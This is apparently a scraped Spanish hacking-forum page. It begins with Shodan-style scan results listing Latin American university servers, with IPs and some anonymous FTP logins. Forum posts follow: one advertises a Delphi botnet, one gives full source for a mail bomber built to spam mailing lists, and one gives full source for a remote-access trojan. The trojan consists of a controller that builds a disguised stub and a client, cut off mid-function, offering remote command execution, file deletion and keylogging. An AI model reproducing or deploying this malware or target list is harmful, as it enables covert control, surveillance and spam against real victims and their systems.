[+] Hostnames: ftp.fgh.us.es

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 27.11.2013
Wide character in print at shodanfinal.pl line 78.

[Data Start]
220-Microsoft FTP Service
220 FACULTAD DE GEOGRAF�A E HISTORIA. INFORMA�TICA
230-BIENVENIDOS AL SERVIDOR DE RECURSOS COMPARTIDOS DOCENTES DE LA FACULTAD DE GEOGRAF�A E HISTORIA
230 Anonymous user logged in.
214-The following  commands are recognized(* ==>'s unimplemented).
   ABOR
   ACCT
   ALLO
   APPE
   CDUP
   CWD 
   DELE
   FEAT
   HELP
   LIST
   MDTM
   MKD 
   MODE
   NLST
   NOOP
   OPTS
   PASS
   PASV
   PORT
   PWD 
   QUIT
   REIN
   REST
   RETR
   RMD 
   RNFR
   RNTO
   SITE
   SIZE
   SMNT
   STAT
   STOR
   STOU
   STRU
   SYST
   TYPE
   USER
   XCUP
   XCWD
   XMKD
   XPWD
   XRMD
214  HELP command successful.
[Data End]

[+] Search Number : 1
[+] Country : Bolivia
[+] IP : 200.87.234.18
[+] Hostnames:

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 25.11.2013

[Data Start]
220 Bienvenido al servicio de FTP de la Facultad de Ciencias Extactas y Tecnologia - U.A.G.R.M.
230 Login successful.
214-The following commands are recognized.
ABOR ACCT ALLO APPE CDUP CWD  DELE EPRT EPSV FEAT HELP LIST MDTM MKD
MODE NLST NOOP OPTS PASS PASV PORT PWD  QUIT REIN REST RETR RMD  RNFR
RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
XPWD XRMD
214 Help OK.
[Data End]

[+] Search Number : 2
[+] Country : Chile
[+] IP : 146.83.193.197
[+] Hostnames: zafiro.ciencias.ubiobio.cl

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 24.11.2013

[Data Start]
HTTP/1.0 302 Found
Date: Sun, 24 Nov 2013 04:06:36 GMT
Server: Apache/2.2.16 (Debian)
Location: http://146.83.193.197/facultad/
Vary: Accept-Encoding
Content-Length: 295
Content-Type: text/html; charset=iso-8859-1


[Data End]

[+] Search Number : 3
[+] Country : Venezuela
[+] IP : 190.169.126.3
[+] Hostnames: inving.ing.ucv.ve

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 23.11.2013

[Data Start]
220 FTP -2: - Facultad de Ingenieira
530 Login or password incorrect!
214-The following commands are recognized:
   USER   PASS   QUIT   CWD    PWD    PORT   PASV   TYPE
   LIST   REST   CDUP   RETR   STOR   SIZE   DELE   RMD
   MKD    RNFR   RNTO   ABOR   SYST   NOOP   APPE   NLST
   MDTM   XPWD   XCUP   XMKD   XRMD   NOP    EPSV   EPRT
   AUTH   ADAT   PBSZ   PROT   FEAT   MODE   OPTS   HELP
   ALLO   MLST   MLSD   SITE   P@SW   STRU   CLNT   MFMT
214 Have a nice day.
[Data End]

[+] Search Number : 4
[+] Country : Argentina
[+] IP : 163.10.23.131
[+] Hostnames: www.fcnym.unlp.edu.ar

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 23.11.2013

[Data Start]
HTTP/1.0 200 OK
Date: Sat, 23 Nov 2013 14:31:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.4
Set-Cookie: choiqueCMS-froNt3nD-facultad=qo7hgqq9cdir6t5pgsg0bgipe1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8


[Data End]

[+] Press enter to show more


[+] Search Number : 5
[+] Country : Mexico
[+] IP : 148.224.13.152
[+] Hostnames: 152-13-static.uaslp.mx

[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 23.11.2013

[Data Start]
HTTP/1.0 401 Unauthorized
Connection: Keep-Alive
Cache-Control: no-cache
WWW-Authenticate: Digest realm="FACULTAD DE PSICOLOGIA", domain="/", nonce="103efee03d", algorithm="MD5", qop="auth"
WWW-Authenticate: Basic realm="FACULTAD DE PSICOLOGIA"
Content-Type: text/html
Content-Length: 236


[Data End]

[+] Search Number : 6
[+] Country : Argentina
[+] IP : 190.11.104.87
[+] Hostnames: host87-104.cpenet.com.ar

[+] OS : Not Found
[+] Port : 137
[+] Last Updated : 22.11.2013

[Data Start]
NetBIOS Response
Servername: FACULTAD       
MAC: 00:1c:c0:9c:0a:ff

Names:
FACULTAD        <0x0>
SIX             <0x0>
FACULTAD        <0x20>
SIX             <0x1e>
SIX             <0x1d>
__MSBROWSE__ <0x1>

[Data End]

[+] Search Number : 7
[+] Country : Mexico
[+] IP : 132.248.18.23
[+] Hostnames: docencia.fca.unam.mx

[+] OS : Not Found
[+] Port : 143
[+] Last Updated : 22.11.2013

[Data Start]
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Bienvenido al servicio de correo DOCENCIA de la Facultad de Contaduria y administacion
[Data End]

[+] Search Number : 8
[+] Country : Argentina
[+] IP : 170.210.88.7
[+] Hostnames: firewall.unp.edu.ar

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 22.11.2013

[Data Start]
220 Bienvenido al FTP de la Facultad de Ingenieria.
530 Permission denied.
530 Please login with USER and PASS.
[Data End]

[+] Search Number : 9
[+] Country : Argentina
[+] IP : 170.210.240.9
[+] Hostnames: cacuy.fi.unju.edu.ar

[+] OS : Not Found
[+] Port : 25
[+] Last Updated : 20.11.2013

[Data Start]
220 cacuy.fi.unju.edu.ar Servidor de email Facultad de Ingenieria UNJu

[Data End]

[+] Press enter to show more
#147
Delphi / [Delphi] DH Botnet 0.5
Diciembre 16, 2013, 12:26:35 AM
Traduccion a delphi de mi DH Botnet escrita originalmente en Perl.

Contiene estas opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

    Unas imagenes :





    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#148
Delphi / [Delphi] DH Bomber 0.5
Diciembre 13, 2013, 12:19:55 AM
Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD.

Una imagen :



El codigo.

Código: delphi

// DH Bomber 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton,
  sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler,
  IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox,
  acPNG;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sStatusBar1: TsStatusBar;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sTabSheet5: TsTabSheet;
    sTabSheet6: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sLabel5: TsLabel;
    sLabel6: TsLabel;
    sEdit5: TsEdit;
    sEdit6: TsEdit;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sButton1: TsButton;
    MediaPlayer1: TMediaPlayer;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    Image1: TImage;
    PopupMenu1: TPopupMenu;
    N2: TMenuItem;
    S2: TMenuItem;
    sGroupBox4: TsGroupBox;
    sMemo2: TsMemo;
    sGroupBox5: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox6: TsGroupBox;
    Image2: TImage;
    sLabel7: TsLabel;
    PopupMenu2: TPopupMenu;
    L1: TMenuItem;
    A1: TMenuItem;
    C1: TMenuItem;
    OpenDialog1: TOpenDialog;
    sLabel4: TsLabel;
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure S2Click(Sender: TObject);

    procedure sButton1Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);

    procedure A1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  themenow: Boolean;

implementation

{$R *.dfm}
// Functions

procedure enviate_esta(username, password, toto, subject, body: string);
var
  data: TIdMessage;
  mensaje: TIdSMTP;

begin

  mensaje := TIdSMTP.Create(nil);

  data := TIdMessage.Create(nil);
  data.From.Address := username;
  data.Recipients.EMailAddresses := toto;
  data.subject := subject;
  data.body.Text := body;

  mensaje.Host := 'smtp.gmail.com';
  mensaje.Port := 587;
  mensaje.username := username;
  mensaje.password := password;

  mensaje.Connect;
  mensaje.Send(data);
  mensaje.Disconnect;

  mensaje.Free;
  data.Free;

end;

//

procedure TForm1.A1Click(Sender: TObject);
var

  archivo: TextFile;
  lineas: String;

begin

  OpenDialog1.InitialDir := GetCurrentDir;

  if OpenDialog1.Execute then
  begin
    AssignFile(archivo, OpenDialog1.Filename);
    Reset(archivo);

    while not EOF(archivo) do
    begin
      ReadLn(archivo, lineas);
      sListBox1.Items.Add(lineas);
    end;

  end;

end;

procedure TForm1.C1Click(Sender: TObject);
begin
  sListBox1.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'deep';
  sSkinManager1.Active := True;

  MediaPlayer1.Filename := 'data/theme.mp3';
  MediaPlayer1.Open;
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;

end;

procedure TForm1.L1Click(Sender: TObject);
var
  mail: string;
begin
  mail := InputBox('DH Bomber 0.5', 'Mail', '');
  if not(mail = '') then
  begin
    sListBox1.Items.Add(mail);
  end;
end;

procedure TForm1.N2Click(Sender: TObject);
begin
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.S2Click(Sender: TObject);
begin
  themenow := false;
  MediaPlayer1.Stop;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: integer;
  i2: integer;
  count: integer;
  idasunto: string;

begin

  sMemo2.Clear;

  for i2 := sListBox1.Items.count - 1 downto 0 do
  begin

    Sleep(StrToInt(sEdit3.Text) * 1000);

    count := StrToInt(sEdit5.Text);

    For i := 1 to count do
    begin

      if count > 1 then
      begin
        idasunto := '_' + IntToStr(i);
      end;

      try
        begin

          sStatusBar1.Panels[0].Text := '[+] Target : ' + sListBox1.Items[i2]
            + ' ' + '[+] Message Number ' + IntToStr(i)
            + ' : Sending ' + ' ...';
          Form1.sStatusBar1.Update;

          enviate_esta(sEdit1.Text, sEdit2.Text, sListBox1.Items[i2],
            sEdit6.Text + idasunto, sMemo1.Text);

          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
              '[+] Message Number ' + IntToStr(i) + ' : OK ');

        end;
      except
        begin
          sStatusBar1.Panels[0].Text :=
            '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';

          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
              '[+] Message Number ' + IntToStr(i) + ' : FAIL ');

          Form1.sStatusBar1.Update;
        end;

      end;

    end;

  end;

  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form1.sStatusBar1.Update;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#149
Delphi / [Delphi] DH Rat 0.3
Diciembre 08, 2013, 11:31:01 PM
Un simple RAT que hice en Delphi con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

    Una imagen :



    Los codigos.

    El Administrador.

    Código: delphi

    // DH Rat 0.3
    // (C) Doddy Hackman 2013

    unit rat;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
      sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
      sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
      IdTCPConnection, IdTCPClient, madRes, WinInet;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        sStatusBar1: TsStatusBar;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sTabSheet4: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sListView1: TsListView;
        sMemo1: TsMemo;
        sGroupBox3: TsGroupBox;
        sGroupBox4: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox5: TsGroupBox;
        sButton1: TsButton;
        sGroupBox6: TsGroupBox;
        Image1: TImage;
        sLabel1: TsLabel;
        ServerSocket1: TServerSocket;
        PopupMenu1: TPopupMenu;
        O1: TMenuItem;
        C1: TMenuItem;
        L1: TMenuItem;
        D1: TMenuItem;
        R1: TMenuItem;
        S1: TMenuItem;
        J1: TMenuItem;
        M1: TMenuItem;
        T1: TMenuItem;
        ifPoslistarprocesoscode0then1: TMenuItem;
        K1: TMenuItem;
        C2: TMenuItem;
        C3: TMenuItem;
        H1: TMenuItem;
        S2: TMenuItem;
        H2: TMenuItem;
        S3: TMenuItem;
        K2: TMenuItem;
        PopupMenu2: TPopupMenu;
        S4: TMenuItem;
        S5: TMenuItem;
        Image2: TImage;
        sGroupBox7: TsGroupBox;
        sGroupBox8: TsGroupBox;
        Image3: TImage;
        sButton2: TsButton;
        OpenDialog1: TOpenDialog;
        sEdit2: TsEdit;
        procedure ServerSocket1ClientRead(Sender: TObject;
          Socket: TCustomWinSocket);

        procedure O1Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure ServerSocket1ClientConnect(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure L1Click(Sender: TObject);
        procedure D1Click(Sender: TObject);
        procedure R1Click(Sender: TObject);
        procedure S1Click(Sender: TObject);
        procedure J1Click(Sender: TObject);
        procedure M1Click(Sender: TObject);
        procedure T1Click(Sender: TObject);
        procedure ifPoslistarprocesoscode0then1Click(Sender: TObject);
        procedure K1Click(Sender: TObject);
        procedure C2Click(Sender: TObject);
        procedure C3Click(Sender: TObject);
        procedure H1Click(Sender: TObject);
        procedure S2Click(Sender: TObject);
        procedure H2Click(Sender: TObject);
        procedure S3Click(Sender: TObject);
        procedure K2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure S4Click(Sender: TObject);

        procedure S5Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sEdit1DblClick(Sender: TObject);

        procedure sButton1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;
      argumento: string;

    implementation

    {$R *.dfm}
    // Functions

    function toma(const pagina: string): UTF8String;

    // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
    // Thanks to www.scalabium.com

    var
      nave1: HINTERNET;
      nave2: HINTERNET;
      tou: DWORD;
      codez: UTF8String;
      codee: array [0 .. 1023] of byte;
      finalfinal: string;

    begin

      try

        begin

          finalfinal := '';
          Result := '';

          nave1 := InternetOpen(
            'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
              , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

          nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
            INTERNET_FLAG_RELOAD, 0);

          repeat

          begin
            InternetReadFile(nave2, @codee, SizeOf(codee), tou);
            SetString(codez, PAnsiChar(@codee[0]), tou);
            finalfinal := finalfinal + codez;
          end;

          until tou = 0;

          InternetCloseHandle(nave2);
          InternetCloseHandle(nave1);

          Result := finalfinal;
        end;

      except
        //
      end;

    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    //

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'matrix';
      sSkinManager1.Active := True;

      try
        begin

          sListView1.Items.Clear;

          ServerSocket1.Port := 6664;
          ServerSocket1.Open;

          sStatusBar1.Panels[0].text := '[+] Online';
          Form1.sStatusBar1.Update;

        end;
      except
        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;
    end;

    procedure TForm1.C1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]');
    end;

    procedure TForm1.C2Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Command', 'net user');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ejecutar] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.C3Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Number', '123');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![crazymouse] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.D1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![borraresto] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.H1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ocultartaskbar]');
    end;

    procedure TForm1.H2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ocultariconos]');
    end;

    procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![listarprocesos]');
    end;

    procedure TForm1.J1Click(Sender: TObject);
    begin

      argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![escribirword] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.K1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'PID', '');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![matarproceso] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.K2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![keyloggerlogs]');
    end;

    procedure TForm1.L1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![listardirectorio] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.M1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Text', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![mensaje] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.O1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]');
    end;

    procedure TForm1.R1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![leerarchivo] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.S1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![sendkeys] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.S2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![volvertaskbar]');
    end;

    procedure TForm1.S3Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![volvericonos]');
    end;

    procedure TForm1.T1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Text', 'Mother Fucker');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![hablar] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.S4Click(Sender: TObject);
    begin

      try
        begin
          ServerSocket1.Port := 6664;
          ServerSocket1.Open;

          sListView1.Items.Clear;

          sStatusBar1.Panels[0].text := '[+] Online';
          Form1.sStatusBar1.Update;
        end;
      except

        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;

    end;

    procedure TForm1.S5Click(Sender: TObject);
    begin
      try
        begin

          sListView1.Items.Clear;
          ServerSocket1.Close;
          sStatusBar1.Panels[0].text := '[+] OffLine';
          Form1.sStatusBar1.Update;
        end;
      except
        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);

    var
      linea: string;
      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      marca_uno: string;
      lineafinal: string;
      stubgenerado: string;
      change: DWORD;
      valor: string;

    begin

      stubgenerado := 'server_ready.exe';
      lineafinal := '[ip]' + sEdit1.text + '[ip]';

      marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName)
            + '/' + stubgenerado), True);

      linea := marca_uno;
      StrCopy(code, PChar(linea));
      aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      //

      if not(sEdit2.text = '') then
      begin
        try
          begin

            valor := IntToStr(128);

            change := BeginUpdateResourceW
              (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                    + '/' + stubgenerado)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(sEdit2.text)));
            EndUpdateResourceW(change, False);
            sStatusBar1.Panels[0].text := '[+] Done ';
            sStatusBar1.Update;
          end;
        except
          begin
            sStatusBar1.Panels[0].text := '[-] Error';
            sStatusBar1.Update;
          end;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].text := '[+] Done ';
        sStatusBar1.Update;
      end;

      //

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    begin

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog1.Filter := 'ICO|*.ico|';

      if OpenDialog1.Execute then
      begin
        Image3.Picture.LoadFromFile(OpenDialog1.filename);
        sEdit2.text := OpenDialog1.filename;
      end;

    end;

    procedure TForm1.sEdit1DblClick(Sender: TObject);
    var
      code, ip: string;
    begin

      code := toma('http://whatismyipaddress.com/');

      ip := regex(code, 'alt="Click for more about ', '"></a>');

      sEdit1.text := ip;

    end;

    procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin

      with sListView1.Items.Add do
      begin
        Caption := Socket.RemoteHost;
        SubItems.Add('?');
        SubItems.Add('?');
        SubItems.Add('?');
        SubItems.Add('?');

      end;

    end;

    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    var
      code: string;
      host: string;
      ip: string;
      pais: string;
      username: string;
      os: string;

    begin

      code := Socket.ReceiveText;

      if (Pos('[datos_nuevos][ip]', code) > 0) then
      begin

        ip := regex(code, '[ip]', '[ip]');
        pais := regex(code, '[pais]', '[pais]');
        username := regex(code, '[username]', '[username]');
        os := regex(code, '[os]', '[os]');

        sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os;

        sMemo1.Lines.Add('[+] Update Target : OK');

      end

      else if (Pos('![keyloggerlogs]', code) > 0) then
      begin
        if (FileExists('logs_keylogger.html')) then
        begin
          DeleteFile('logs_keylogger.html');
        end;

        savefile('logs_keylogger.html', code);

        sMemo1.Lines.Add('[+] Keylogger : OK');

        ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName)
              + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL);
      end
      else
      begin
        sMemo1.Lines.Add(code);
      end;

    end;

    end.

    // The End ?


    El stub.

    Código: delphi

    // DH Rat 0.3
    // (C) Doddy Hackman 2013

    // Stub

    unit stub;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
      IdIPMCastServer, ScktComp, sButton, ExtCtrls;

    type
      TForm1 = class(TForm)
        IdHTTP1: TIdHTTP;
        ClientSocket1: TClientSocket;
        Timer1: TTimer;
        Timer2: TTimer;
        function datanow(): string;
        procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
        procedure sButton1Click(Sender: TObject);
        procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);

      private
        Nombre2: string;
        { Private declarations }

      public
        { Public declarations }

      end;

    var
      Form1: TForm1;
      acatoy: string;

    implementation

    {$R *.dfm}
    {$POINTERMATH ON}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function listardirectorio(dir: string): string;
    var

      busqueda: TSearchRec;
      code: string;

    begin

      code := '';

      FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);

      code := code + '[+] : ' + busqueda.Name + sLineBreak;

      while FindNext(busqueda) = 0 do
      begin
        code := code + '[+] : ' + busqueda.Name + sLineBreak;
      end;

      Result := code;
      FindClose(busqueda);

    end;

    function borraresto(archivo: string): string;
    var
      code: string;
    begin

      code := '';

      if DirectoryExists(archivo) then
      begin
        if (RemoveDir(archivo)) then
        begin
          code := '[+] Directory removed';
        end
        else
        begin
